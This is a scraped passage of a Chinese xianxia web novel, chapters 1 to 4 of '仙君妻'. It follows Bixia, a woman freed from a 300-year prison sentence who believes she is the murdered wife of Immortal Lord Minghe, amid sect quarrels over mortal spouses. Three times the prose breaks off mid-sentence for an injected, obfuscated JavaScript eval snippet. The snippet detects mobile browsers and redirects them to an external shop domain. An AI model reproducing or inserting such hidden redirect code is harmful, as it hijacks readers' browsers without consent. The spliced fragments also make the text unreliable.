《仙君妻》 1. 第 1 章 碧霞从袋子里抓了把晒干的月卷草和奇梦花,放入一方白玉臼中,慢慢磨成一种深绿色的粉末,等加入竹炭粉和融化的蜂蜡后,可以用来给嘉应宗的仙子女修们描眉。 她打了个哈欠,将粉末倒进旁边瓷坛,眼前忽然一黑,玉臼连着瓷坛一并摔在了长桌下的地毯上。 旁边正在研读心法的女修抬眸看了她一眼,说道:“你要不去休息吧,这些东西不做它又有什么要紧。” “对不起,手忽然就软了。”碧霞感到抱歉,还好这已经是第三个瓷坛,只浅浅地装了一点,粉末没有漏出来。 她揉了揉眼睛,将东西收拾好:“过几天就是上琼宴了,我想快点做好,这样仙子们也有得用。” “你真的变了很多,以前可不会冲人道歉。”女修笑道,话语里有意无意地夹带些许嘲讽。 “是吗,我不知道。” 这里是彩羽天织阁,玉树琼花,粉幔盈楼,可供女修们闲暇时前来放松。 说她变了的女修名叫花虹,喜欢在无人的华丽殿宇中研读心法,她说这样安静却又不显得寂寥。天织阁这种富丽堂皇到了庸俗的布置正得她心。 碧霞和她的关系不冷不淡。 因为这位剑修投注到她身上的眼神并不算友善。 但自从几天前接了个赶制眉黛膏的任务后,花虹便主动坐到了她身旁。 花虹夸她做事情安静,连呼吸声都没有,只有细细的研磨声,像虫子啃噬杂念的声音。 花虹没看完手里的书,但碧霞确实决定去休息了。 她踩着云梯,将剩下的原材料收进高高的壁柜里,贴上符封。又在梯子上站了一会儿,对于花虹的话,若有所失。 实际上,她说不清楚自己变了还是没变。因为无论怎么努力,她连完整的自己都拼凑不出来,她的记忆里存在一段无法弥平的鸿沟。 两人打过招呼,休息的房间在二楼东面一条短短的走廊里,现下阁里睡了不少人,碧霞放轻手脚,推开自己的房门。 她直奔房间一侧的浴房,内里水雾缭绕。下午时有仙子在阁里分派自己种的鳞焰花,她得到一些。鳞焰花属性为火,有驱寒的效用,她道了谢,上楼将花瓣洒在房间的浴池里,用热石在池底保持着水温。 忙完一天,见了这池热水,比见了山珍海味还要满足。 她关上门,宽衣解带,踏入池中,白皙的皮肤顷刻红了一片。 但碧霞正喜欢这种热烫的水温,配合着鳞焰花散出来的气息,不由分说地驱散了那股一直萦绕在她体内的寒气。 来回几个吐息后,她将脑袋舒舒服服地靠在了池边,闭起眼睛,嘴里念叨着“天地视人如蜉蝣”之类的话,抬手用气劲拨开浴房上的小窗,让新鲜空气涌进来一部分。 三年前,她从北海深处的寒牢中睁开眼睛,一名看守寒牢的修士走到她面前,说她刑期已至,扔给她两件辟寒的斗篷后就将她放了出去。 而碧霞就像睡了长长的一觉,醒来后被绑架到了一个陌生的地方,身上发生了一些陌生的事情。她懵懂地询问自己的罪行,那名浑身酒气的修士皱了皱眉头,嫌麻烦,不过很快拿回来一本书册,一字一句地念给她听。 她已经被关在这座寒海冰牢中三百年了,罪行是将嘉应宗少宗主的妻子推入劫云阵中,致其身亡,原本她应该被处死,一命换一命,但后来被改判到此地进行三百年监禁。 碧霞听他念完,下意识问道:“你是说,我把我自己推入劫云阵中?” “是你把明河仙尊的妻子推到雷劫下。”男人高声纠正道,他将书册收起,看她冻得不行的模样,又将腰间驱寒的烈酒壶取下来一并扔给她,“快走,别让你的脑子被寒气冻坏了。” 厚重的一扇冰门在面前合上,身后就是茫茫雪原,碧霞愣了一会儿,将披风裹在身上,又喝了口壶里的酒,被呛得直咳。 热意涌上脑门,又被扑面而来的寒风迅速吹冷,她也清醒了不少。 越发奇怪了,她分明记得她叫素月,她的丈夫叫做明河,他们似乎在凡间生活了许多年,后来丈夫被几个从仙界来的仙长找到,说他是他们的少宗主。她和明河一起被仙长们带去了那个宗门。依稀记得那个宗门很大。 对了,好像确实是叫嘉应宗来着。 怎么一醒来她就成了别人,而这个人竟然还是将她害死的凶手?! 她一开始还以为是梦,但是在冰天雪地里走了许久都不见醒,后来她试着回忆自己作为素月的过往,想要强化对自我身份认同,但记忆俨然是一片荒原,搜刮不出分毫,她又去回忆明河,发现自己只能记起一张脸。 那张脸俊美青葱,但像描在屏风上的画。他时常用什么表情看她,说话的声音语气是如何,动起来的时候是什么样子,她完全不知道。 等走出冰原,她已经开始试图接受自己碧霞的身份,但回忆这三百年被关押的岁月,以及三百年之前发生的事,竟然也是一片空白。 碧霞像一个被偷走时间一下长大的婴儿,至今依然茫然。 唯一存在的记忆就是,她叫素月,她有一个丈夫叫明河。但现在看来这似乎是个妄想,她更像是在三百年寒牢中失去所有记忆的碧霞。 从寒牢中解脱后,碧霞一路向南,气候逐渐明媚温暖。 她想要打探一些和明河有关的消息,记得他是嘉应宗的少宗主,而嘉应宗是首屈一指的大宗门,只要多加打听,一定能得到他的消息。 哪里人多,她就往哪里挤,误打误撞地来到了一个叫做浅云明月台的地方,听周围的人说此处正在举办上琼宴。 她问什么是上琼宴,被问的几人感到诧异,笑她连上琼宴都不知道。 凡是由宗门仙尊发起举办的宴会,皆叫上琼宴。修真界目前只有四位仙尊,每一位都是惊世顶尖的存在。他们时不时开设宴席,谈玄论道,通常需要一定的门槛才能进入。但这次的上琼宴恰好没有设置门槛,才让她这个连上琼宴是什么都不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922973|192644||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的小丫头混了进来。 碧霞想说她不是小丫头,她刚刚吃完三百年的牢饭。 那人指头往后一放,她便顺着看过去——浮光霭霭中,楼台殿宇隐隐浮现,有一人端坐明珠高阁前,双眼微阖,像尊受人供奉的神像。 清雅英华,仙姿丰旷,半弯新月的清辉仿佛尽落于他身。拔俗的气质下,那张脸,熟悉得一下击中了她的心。 记得那是春天的一个傍晚,花团锦簇,灯火盈盈,碧霞欢欣鼓舞地叫了一声,冲破把酒言欢的宴席,向着明河奔去。 他还在,虽然不知前尘,但仅仅是他的存在,就足够令她感动。 后来的事情,出乎她的意料,又早在情理之中。 在众人的宴席和仙尊高台之间,有一道无形的结界,碧霞还没来到结界前,一道仙光便兜头而下,贯穿她的身体,胸口霎时鲜血如注 没过一会儿,她就被人团团围住,有人往她身上贴符,有人为她输送真气,有人在问她的身份。还有人说先别救她,得向请示仙尊一番…… 耳边的声音变得模糊,碧霞的视线开始涣散,她看到明河从高台上缓缓起身,肩膀遮住了青天上的月牙,显得他的存在更高了,那一双盛满灵光的璀璨紫眸仿佛要燃烧起来,充满要将她焚毁的恨意。 她的胸前有一块蔓延到肋侧的巨大伤疤,就是三年前明河仙尊用一道仙力贯穿她的胸口后留下的。 即使这样,她还是想在几天后的上琼盛会里见到他。 不过她不会那么莽撞了,她已经准备好了易容道具。如果完成制作眉黛膏的任务,或许会得到一个进入上琼会的名额。 碧霞在池中运功调息,水面泛出层层涟漪。 那天之后,她被一男一女带到了金元峰,各种仙丹灵药砸下去,万幸保住了一条命。 金元峰是附属嘉应宗的修真世家,也是她的家族,曾经鼎盛一时,在宗内有极大的话语权,后来随着她的行差踏错,家族也逐渐没落,成了可有可无的存在。 族内还发生过一次惨案,一夜之间,半数的成年男性死于非命,只有女性和孩童幸免。 那一男一女正是金元峰当前为数不多的几个小辈,到上琼宴凑热闹,如果不是旁边有人认出倒在地上的人是曾经被誉为术修天才的碧霞仙子,他们绝对不会知道她就是长辈口中提起过的碧霞姑姑。 治好伤后,碧霞就留下了呼吸紊乱的后遗症,运功过度时会出现强烈的窒息感。 所幸她后来找到了一种特殊的呼吸方法,可以通过皮肤交换气体,很大程度上缓解了肺部的压力,甚至可以完全不使用肺部和口鼻呼吸。这具身体是极为珍稀的娲皇垢灵体,气海容纳百川,配合上这一套独特的呼吸方式,反而使她的功法大为进益。 在修真界,力量是所有的凭依,碧霞披衣起身,不管是振兴家族还是与明河—— 双腿忽然在池边打滑,素衣裙摆在水中浸湿,她稍稍一顿,站起来后,自嘲地笑了笑。 2. 第 2 章 回到软红席地的内室,碧霞一身湿气,提起案上的琉璃壶给自己倒了杯冷茶。 床边的荧石不知何时亮了,一抹倩影隔着红纱帐透出来,轻灵的笑声时断时续。 她走过去,掀开纱帐,身着白纱的女人霸占着她床铺,身侧放着一叠写满了墨字的纸张。女人藕节般的玉臂支撑着脑袋,正对着纸上的文字发笑。 “笑死我了,你到现在还觉得你是那个素月啊?”女人擒笑着瞥她一眼,灵巧地翻了个身,将那叠纸张护在身下,预防碧霞来抢。 “桃夭,你什么时候来的?”碧霞将茶水一饮而尽,茶杯放在脚踏上,躬身就要去抓她得肩膀,“我不准,快还给我。” 被叫做桃夭的女人嬉皮笑脸地往纱帐下缩了几寸,将纸张凑到眼前快速读了出来: “至今我还是不明白自己到底是素月还是碧霞,我的记忆不只是支离破碎,还充斥着大段的空白。很多个夜晚,我总会梦见明河,他似乎很喜欢下厨,但并不喜欢大火与油腻的炒菜,只是热衷制作精致的茶点。如果我不吃他做的东西,他就会有些生气,将点心咬在嘴里,俯身亲过来……啊啊啊啊——” 读到这里,她怪叫了起来,像抓着什么脏东西一样把纸张洒得满帐都是,“我受不了了,你到底在写什么啊?” “小声点!很多人都睡了。”碧霞扑上床,手忙脚乱地收拾散乱的笔记。 这些都是她整理思绪时写下的,她不会放过任何一丝可能找回记忆的线索。 “呵,我看你是对当初的所作所为后悔莫及,负罪心理太过强烈,才幻想自己是明河仙尊的妻子减少罪恶感。” 桃夭坐起身,伸长了腿,一点不当回事地将那些纸压在腿下,染着蔻丹的美丽手指抵着她的脑门,对碧霞宣读这个她已经说过无数次的结论。 “……你说的可能是对的。”碧霞并没有因为桃夭发现她的笔记而感到羞耻,而是跪在席被上深沉地思索一番,最后略显严肃地说道:“但我总觉得梦里的事情也像真实发生过。” 桃夭脖子往后一仰,重新躺了下去,笑得像一枝盛开在的红绸被上的桃花。素白的纱裙如云堆砌在脚边,随着她脚背拍打床面的动作抛浮起来。 “哈哈哈——我真受不了你了!” 等她笑够了,碧霞也收拾好了那叠散乱的纸张,重新塞回枕头下。 桃夭抹了把眼角溢出的泪水,看着她玩笑道:“你已经是姐妹们的笑柄了,这些东西自己幻想得了,记得别拿出去丢人。” “我知道。”碧霞整理着寝衣,两人并排躺下。暖光透过帘帐,变得半明半暗,恍惚阑珊,让人不自觉敞开心门。 桃夭翻过身,面对她,一改先前癫狂的模样,伸过手掌梳理着她微湿的鬓发,“失去记忆没事,你只要相信自己还是碧霞就行,记忆是可以继续创造的。” 发丝在流动的真气下很快变干,碧霞侧眼瞟了她一下。 据说,桃夭是她三百年前就交好的仙子,当然她一点也不记得她了。 三百年间,桃夭的修为逐渐增进,在宗内有了称号和地位,有了自己的小阁楼,那一片山头种满了她喜欢的桃花。而碧霞的修为却完全停滞了。北海冰牢的寒气会侵入人的经脉,光是抵御寒气就耗光了力气,遑论修炼。 但是,桃夭却没有嫌弃她,在她回宗后给予了很多的帮助,帮她极快地适应了曾经的人际关系,说不定她们曾经的关系真的很好。 碧霞叹了口气,转身,两人面对面,真诚而困惑地问道:“你说,我当初为什么要将仙尊的妻子推入雷劫中呢?” 桃夭愣了愣,浅笑中露出她那种惯常的嘲讽神色:“你在问我?” 碧霞点点头,是真的希望她能解答,“你知道吗?”但看她的反应,估计也不理解。 桃夭的眼睛往帐顶转了转,像是在回忆,碧霞暗羡她有记忆可以追溯,隔了一会儿,桃夭便吐出一句:“凭什么呢?” “啊?” “那时你说,凭什么。凭什么我们要辛辛苦苦修炼,而那些凡界的女人却只依靠找一个男人,什么代价都不用付出,就能获得地位和好处。” “……这样吗?”碧霞有些意外地睁大了眼睛。 桃夭耸了耸肩,“我不可能清楚你所有的想法,不过你确实说过好几次,说你瞧不起凡界女子附庸他人的生活方式。然后,那个素月好像还得罪过你,不过我不记得是什么事了。” 碧霞将目光凝在帐顶的一角,原来她那时是这么认为的吗。如果是现在的她,只会觉得别人既已两情相悦,那么无论干什么外人都无权置喙。 熄灭了帐外的灯光后,桃夭将手覆盖在她的肩头,安慰似的揉了揉:“但我觉得你说的没错,我们都觉得你说的没错,凭什么呢。那些女人没有骨气,也不思进取,靠出卖色相和尊严换取男人的垂怜,不止对付出努力的女修不公平,也是在丢我们的脸。” 碧霞听了这番话,思绪乱成一团。强烈的身份错位感让她欲言又止。 修真界的女修普遍独立好强,不甘屈于人下。很多男修便倾向于从凡界寻找伴侣,但他们又很少与凡界的女子进行道侣缔结仪式。 两人成为道侣后,意味着身上的力量与修炼资源都需要拿出来和对方共享。但如果找的是凡界中人,就只需要给她们吃一口饱饭,她们便愿意为你鞍前马后,包揽修炼之外的任何琐事。 甚至这些人会乐在其中,以和修士攀上了关系为豪,殊不知她已经遭受了来自对方身份光环的隐形剥削。 当然,这三年碧霞也见过不少愿意将自己的力量和资源分给凡界妻子的男修,大概那些人是真心相爱的吧。 女修倒是很少从凡界寻找男性伴侣,这对于她们来说得不偿失。不论是哪里的男人,都不会老老实实,安分守己,他们会觊觎女修拥有的一切,伺机巧取豪夺。 没有人会把一条毒蛇带在身边,即使是一条一只手就能碾死的毒蛇。 曾经发生过很多起女修遭遇凡夫背刺的惨案。后来这些惨案被搜集起来,一位署名末道书狂的男修将之编成了书,流传甚广,用以告诫那些天真的女修士,不可不对凡人男性保持戒心。 之后桃夭又同她说了一些闲话,便打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922974|192644||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着哈欠在身旁睡着了。 碧霞的脑子却没有停歇,一道窄窄的月光从床尾半开的窗户外透照进来,落到了架子上的红釉观音瓶上,那块亮的地方成了她思绪的落点。 她对那些嫁给修士的凡人女子抱有同情,一方面,她们要为丈夫辛劳付出,另一方面,又要承受来自宗内女修们忿忿不平的怒火。 想起来,最近还有一件事激化了矛盾。 由于宗内男修的凡妻数量已超百人,管理门派日常事务的执事堂便合计了一下,在西岭上划了一块地,打算为这些凡人女子建造一座用以日常活动的楼阁,就像内门女修的彩羽天织阁那样,还会给每人每月发放一定数量的例银补贴。 只是消息一传出来,便遭到了女修们的强烈反对。 如果她还保留有身为碧霞的记忆,或许也会对那些凡人女子感到厌恶。 第二天,碧霞起得很早,一夜无梦。 醒来的时候,三百年积累下来的那股寒意又重新在身体里盘桓。她披了件外裳,坐到山水屏后的书桌旁,打开桌上装着热硫丹的木匣,吞了一颗进肚子里。 丹田窜起了几道热流,同体内的寒气交战,如往常一般,后者渐渐溃败。 这股寒气无法根治,也找不到源头,但可以通过运功,热浴,丹药等方式驱散,只不过仅隔一天就会卷土重来。对身体倒没什么影响,只是会让她感觉冷,碧霞觉得这道寒气已经成为了她身体的一部分。 等天光熹微,楼下隐隐传来一些脚步声时,碧霞放下手里的典籍,到妆台前为自己穿戴。 桃夭还在睡,她将动作放得很轻。 光线不足,镜中的脸显得有些变幻莫测,一双细挑的凤眼妩媚又英气,紧窄的下颌承托两瓣唇角自然下撇的薄唇,怎么看都是一副高傲不驯的面容。 每次望着镜里的自己,碧霞总会有一种十分陌生的感觉。甚至感觉是镜中的另一个人在望向她,带着冷漠与轻视。 这个念头起来后,她便觉得有些瘆人,索性将镜子用绸布遮住了。 ……真是玄,怎么会有人害怕自己的脸。 简单穿戴好后,碧霞来到楼下,想要进行昨晚没有完成的任务。 花虹还在原地打坐,看样子一夜没挪窝,面前的书倒是合上了。 碧霞从柜子里取出材料与工具,自觉坐到她身旁,花虹睁开眼后,困倦地打了个哈欠,含糊地和她打招呼,“起得很早嘛。” “早。”碧霞应了一句,大厅中弥漫着清晨的冷气,左右无话可说,干脆又提起令她兴奋的上琼宴,“还有两天上琼宴就开始了,听说这一次四位仙尊都会来?” “是啊。”花虹点头,“还有半个月就要攻打魔界了。” “攻打魔界?”碧霞疑惑地眨了眨眼,这算大事,但她完全没听说过这个消息。 “不然还有什么事能把四尊聚在一起呢。”花虹捏了捏眉心,拿书起身,“听说魔界崛起了一股新势力,迅速扫平了其他魔族势力,仙界决定出手,不能让这份新的力量坐大。这次的上琼宴就是四尊准备向各派门统筹力量的信号。” 3. 第 3 章 花虹走后,碧霞仍感到有些不好意思。她那么关注上琼宴,竟然不知道这次宴会是为了攻打魔界做准备。说到底,还是因为上琼宴上会有个明河吸引了她的全部注意。 花了一个上午,她终于将所有的眉黛膏赶制了出来。 外头阳光明媚,碧霞揉了揉些许僵硬的肩膀,溜达到了回廊上。 天织阁位置极佳,处于嘉应宗的最中心,掌门大殿坐落在它的前方。大概是躬逢盛会,大概也是为了攻打魔界做准备,忙碌的灵兽驮着无法被收纳进芥子袋中的大型奇珍异宝划过碧空,修士正在地上空中来来往往,一派熙攘祥和。 碧霞还看到了足足八头空羽兽驮着一面巨大的镜子飞过天织阁的屋顶,应该是某种法器,可惜她不认识。镜面反射出无比耀眼的光芒,空羽兽像簇拥着凝结的光块那样飞过。 方向是天织阁的东北角,那里是明河仙尊所据之处。 这次上琼会的地点,正设在嘉应宗,仙尊的月留殿内。 月留殿……月是指素月吗,碧霞徘徊在阳光下猜测着。 这时,一道携着粉光的人影降落在廊柱后,虽未见全貌,但已得窥仙姿曼妙,披帛飘然,碧霞精神一振,笑意盈盈地走上前:“祝阁主。” “碧霞?有什么事吗?”祝曦柔美的脸上轻轻浅浅地泛起一个微笑。 三百年前,两人曾是把较劲放在明面上的死对头,各自的师傅也是互相争斗不休的师兄弟,碧霞因为娲皇垢灵体的加成,还略压她一头。 三百年后,祝曦的修为已远超碧霞,而原先她看不惯的那种跋扈性子也在碧霞身上荡然无存,她彻底没了气焰。 果然,蠢人只要够蠢,不需要别人的干涉,她就会自己走入歧途。 碧霞不知道女人在想什么,直接开门见山,“我完成了之前阁主交代的任务,两百枚眉黛膏制作完成,不知道能不能得到一个进入上琼宴的名额?” “啊,那你带来顶楼给我检查一下吧。”祝曦回过神,轻飘飘地说道。 碧霞回去,将那些螺钿黑漆玲珑小圆盒整齐地码放进箱子里,带到阁顶。祝曦正盘坐在阁顶那个大大的凉亭中,手里多了把团扇在脸侧轻轻扇动,她的身旁摆着两张黑檀木长案,琴棋书茶俱全,雅致无二。 碧霞将箱子放在棋盘旁打开。 祝曦目光在箱中扫了扫,从中随意取出一盒,先是嗅了嗅,然后用手指沾取粉膏细致地摹到眉上,看着镜子满意地点了点头,评价道:“粉质细腻,配比得当,很用心嘛,不过本来这些不应该你来做的。” 碧霞不禁暗喜:“阁主满意就好。” 祝曦没立即提起上琼宴的事,只是用手帕不紧不慢地将妆容擦拭干净,假装没将帕子握住,被一阵微风吹出凉亭,碧霞站在外侧,想也没想便为她追了出去。 “真是麻烦你了。”她慵懒地勾起唇角,团扇放在胸口前,有一搭没一搭地拍在衣服上。 “举手之劳。” “以前你可不会做这种举手之劳。”祝曦笑着接过手帕,笑中暗含得意,提起以前的事,想要刺激她一番。 但那人脸上只是闪过一丝茫然,低声咕哝道:“大概是吧。” 祝曦褪去伪装的温柔外表,嘲讽地笑了一声。她并不觉得奇怪,只是真切地认为碧霞被打断了脊梁骨,折没了所有的傲气。 “可怜,以前你和我作对时估计没想到会有今天吧。” 边说,边从芥子袋中取出一枚枫红玛瑙玉片,玉片和一条细细的竹简绑在一起,“喏,上琼宴的通行物帖,不过你最好还是易容进去,千万不要让明河仙尊看到你的脸。” 碧霞有些激动地接过那枚玛瑙枫叶,“多谢阁主,我一定记得。” 下午的时候,桃夭用一只翠羽信鸟传讯,邀她到她的桃仙阁一聚。 时至秋日,桃仙阁的景致依然有如春日般绚烂明媚,肉眼所见的每一棵植物都有一种新生般的嫩,每一个角落都生机勃勃,无一丝秋的萧索。 桃夭用自身法力与灵石维持着小楼周围独特的气候,自豪地同碧霞说道:“农庭的弟子也培植出了会在一年四季都开花的桃树,不过桃花的长成最依赖自然气候,什么样的品种,都不如在春天盛开来得美丽。” 铺满桃瓣的院落中,另外两个姑娘等候多时,都是碧霞三百年前就结识的姐妹,一个叫做段宝晴,一个叫做婼翎。 碧霞刚坐下,一阵霏微春雨便飘洒了下来。淅淅飒飒地滋润起满院灵植。 “几天不见你,又在忙什么?”段宝晴看向她,手中正拿着一根细细的银簪剔着核桃壳里的肉。 这名女修身材微丰,除了弟子服外时常穿的便是各色襦裙,性格直率,同样出身于显赫世家,但家族并不隶属于任何宗门。 碧霞拿出几盒眉黛膏放到她们面前,说自己得到了祝曦给的上琼宴请帖。 桃夭皱眉:“那家伙是你以前的死对头,她没怎么对你吧?” “似乎嘲笑了我几句。”碧霞轻描淡写地说道:“不过我毫无感觉。” 宝晴笑着摇了摇头:“除了我们和你的家人,估计没多少人知道你失去了记忆,她是拳头打在了棉花上……啊,不过想到她得意的样子,还真是有几分牙痒呢。” “上琼宴啊,那明河仙尊肯定在咯,没问题吗?”婼翎一双杏眼有些担忧地望过来。 “她就是奔着明河仙尊去的,到现在还幻想自己是那个素月呢。”桃夭揶揄地看了碧霞一眼。 “没事,老毛病了。”宝晴将核桃肉剔进嘴里,“只要你不往仙尊跟前凑,就能稳稳当当地在宗内生活下去,反正金元峰已经付出了足够的代价了。” 周围有暗暗的抽气声,不知道是谁发出。 宝晴指的是那场发生在二百八十年前的家族血案,造成金元峰没落的主要原因,至今这条悬案依然无解。 但碧霞周围的家人,朋友,甚至嘉应宗的许多弟子,都已经从心底默认那是明河仙尊对金元峰的复仇。 三百年前,碧霞本应被处死,但金元峰当时在宗内的影响力和话语权极大,明河仙尊又才回归宗门不到两年,完全无法和一个扎根已久的修真世家抗衡。 在金元峰众人的极力运作下,碧霞被从轻发落,死刑改成了三百年刑期,保住了一条性命。但明河仙尊的结发妻子却在雷劫阵中彻底成了一具枯焦得无法分辨五官的尸体。 当他们松一口气,庆幸保住了家族天才的那一刻,绝没有料到后来的家族会遭此“横祸”。 血案发生后,金元峰的人耗费了大量力气,也找不到任何与凶手有关的线索。伤口是没有留下任何气息的普通刀伤,当晚,整座高峰甚至静得出奇,没有传出一丝打斗声响。 他们理所当然地怀疑起少宗主,因为仇的动机,但他们不可能凭借“动机”就去指认明河。 三百年间,明河的实力与境界突飞猛进,伴随的是金元峰的日渐凋零,悬案变成了一个更加禁忌的话题。 氛围一时沉重,碧霞垂下眼眸:“我知道……” 家族的人算是间接被她害死,她当然要赎罪。不过她总觉得,会不会很多人都想错了,那件事或许根本不是明河仙尊做的呢。 她改变不了他们的想法,不管怎样, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922975|192644||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她还是要赎罪。 她早就被剥夺了内门弟子的资格,还能留在嘉应宗,是因为她的家就在嘉应宗,还可以享受到一些世家名头的庇护。她可以在宗门内大部分地方自由活动,但却没办法再拜师,修炼资源的获取只能通过金元峰,不能直接从宗内获得。 “说起来,我有个消息要告诉你们……”婼翎看了碧霞一眼,局促地交叠着手指,试图转移话题。 桃夭像是想起什么,猛拍桌子,表情忽然变得很兴奋:“我也有一个!哎呀,差点忘了,你们肯定喜欢听!” “那我的你们肯定不喜欢。”婼翎往后靠在圈椅上,仿佛得救般,“桃夭,你先说吧。” 桃夭黝黑的瞳仁泛起了光,迫不及待地说道:“枫离神君回来了,你们知道吗?” “枫离……是那名剑修天才?”碧霞回想了一下,虽然记忆缺失,但这个名字在三年内也听得够多了。 宝晴淡定喝了口茶,抓起一块糕点继续吃着:“回就回,至于那么激动,你喜欢他?” 嘉应宗作为修真界门派之首,肩负着讨伐魔族的责任,眼下与魔界开战在即,让许多在外游历的弟子回归是再正常不过的了。 “我怎么可能喜欢他。”桃夭赶忙澄清,“但是你们敢想象吗,平时冷漠寡言,独来独往,看起来谁也不在乎的枫离神君,昨天竟然从凡界带回来了一个人。” “哦,女人吧,男修不是经常干这种事吗。”没想到连高高在上,宛若冰山的枫离神君也不能免俗,宝晴实在觉得可悲。 “不,是女人我就不会跟你们说了,枫离神君带回来的可是一名少年!”桃夭语调扬起,隔着桌子一把抓住宝晴的肩膀,“是一名白白嫩嫩,弱不禁风的少年哦。” “真的假的?你亲眼看见了?”宝晴糕点停在嘴边,登时来了兴趣。 “很多人都亲眼看到了!就昨天傍晚在山门前,我和几个同门被拉去迎接神君回归。发现枫离神君的翼虎上坐了不止他一人,等神君从坐骑上下来后,我就看到他身后的那人是一名绝对不超过二十岁的少年,看起来老乖了,然后神君回身拉住了少年的手,就这么将他小心翼翼地牵了下来。” 说到这里,桃夭已经倒在圈椅上,抓住自己宽大的袖子,盖着下半张脸,笑得面色如春,“神君那个动作,真是生怕他受一点伤。” “天呐,他们是什么关系啊?”宝晴分外好奇,连手里上好的糕点都失去了味道。 碧霞在一旁静静地听着,不明白她们为什么如此激动,听桃夭描述,那名少年似乎年纪轻轻,于是猜测道:“难道是枫离神君的孩子?” “怎么可能!”桃夭立即反驳她,“没有人会对自己的孩子那样,他们的关系肯定不一般。” “这样啊。”碧霞被她的神色吓了一跳,简直像锁定猎物的蛇类。 桃夭喝下一口茶,清清因为激动变得有些沙哑的嗓子,“等晚些的时候我再去打听,上午听姐妹们说,神君已经把那名叫做长轩的少年带回了自己的住所。” 婼翎在执事堂协办日常事务,似乎并不感兴趣同门带回来的人是男是女,只说道:“这次宗门发召回令,又有不少男修将自己的凡界妻子带回宗门。” “有多少?”宝晴皱紧了眉头。 “目前已经有十二个。”算上枫离神君那位,应该是十三个。 “啧,”厌恶的神色顿时爬上桃夭面庞,她险险翻了个白眼:“真的好烦。” “还有更糟的。”婼翎继续说道:“明河仙尊已经准许了执事堂为凡界女子提供更好待遇的提议,我们之前的抗议可以说是白费了。” 4. 第 4 章 碧霞连茶都没喝够一盏,宝晴和桃夭就气势汹汹地走出了桃林,她和婼翎不得不随之跟上,四人一路往执事堂走去。 “明河仙尊……我看他是疯了吧,不能因为他曾经有过一个凡人妻子就随便做下这种决定!”宝晴义正辞严,引得周遭人纷纷侧目。 “妄议仙尊还是不太好。”婼翎低声提醒道。 一踏进执事堂,耳朵立即就被里面传出来闹哄哄的声音灌满。正值宗门事务繁忙的时期,内中修士来来往往,当然也容易触发争端。 大殿的左侧就聚集了两波人,中间个子高挑的女人穿着一身优雅的枣红色绉纱直裙,黑发披在裸露的双肩上,姿态却十分粗鲁,指着对面的人群破口便骂:“你们这群没脸没皮的,还想用宗门的东西养老婆,也不问问我们答不答应!” 女人声音洪亮清晰,桃夭听了这话,知道找到了战场,当即撸起袖子冲进人群里:“要么你们,要么你们的女人,选一个,滚出嘉应宗。” 男修里很快有人反驳道:“凭什么,嘉应宗可不是你们说了算。” 碧霞注意到那几个男修身后躲藏着的女人,她们身上没有一丝灵气,正拘谨地看着这场闹剧。 她的头皮上流窜过两道电流似的抽痛,感到呼吸又变得有些困难,立即调整了呼吸方式。 不该这样,一群修道人,为什么要将事情闹得这么难看,她想象自己是这群男修背后的其中一个女人,只觉得如入魔窟。 这时,旁边的雕花白玉门后终于走出来一位衣冠嵯峨的执事堂主理。他通身气度沉稳,有一种说一不二的威严,看着女修们冷声道:“宗门已经决定执行这道尊令,在这里闹是不会改变结果的。” 此话一出,女修们抗议的声音瞬间如浪涌起:“那些女人没有为宗门做出贡献,凭什么享受宗门带来的好处?” “如有异议,可以到掌门大殿向长老们请示,或者直接到月留殿找仙尊。”男人只说道。 “这太不公平了。” 有了撑腰的,男修们便开始阴阳怪气起来:“宗门并不干涉弟子们在这方面的自由,你们要是看不过眼,也可以自己带人回来,该有的好处照样不会少。” “哼,以为谁都像你们一样下贱。”身着红裙的女子用一种十分鄙夷的目光瞪他们。 “劝你积一些口德,说是仙子,还没凡界女子得体大方。” “你!” “都走开,别让人看了笑话。”那名执事堂的主理用力甩袖,再次钻回门后。 碧霞看着他们,看出来了,诺大个宗门不可能养不起几个凡人,女修们之所以群情激愤,只是因为觉得不公平吧。 男修可以肆无忌惮地将伴侣带回宗门,用宗门的资源为自己托底,但女修却做不到这样。本质上,这是男修士和女修士之间的矛盾,并不是女修士和凡人女子的。 但是……碧霞觉得困惑,面对同样被枫离神君带回来的那名凡人少年,桃夭却有着截然不同的态度。 这两种态度之间,简直坐落着一道无法跨越的天堑,短短的时间内陆续上演在她面前,碧霞一时胆寒。 婼翎走到两波人中间,出言安抚女修们:“姐妹们先回去吧,具体的东西还没落实下去呢,咱们仍可以徐徐图之。” “婼翎仙子,你在执事堂做事,说这种偏心的话不合适吧?” “有什么不合适?” “你想以权谋私不成?”婼翎的师尊,正是执事堂五个主殿长老里的东玄真人。 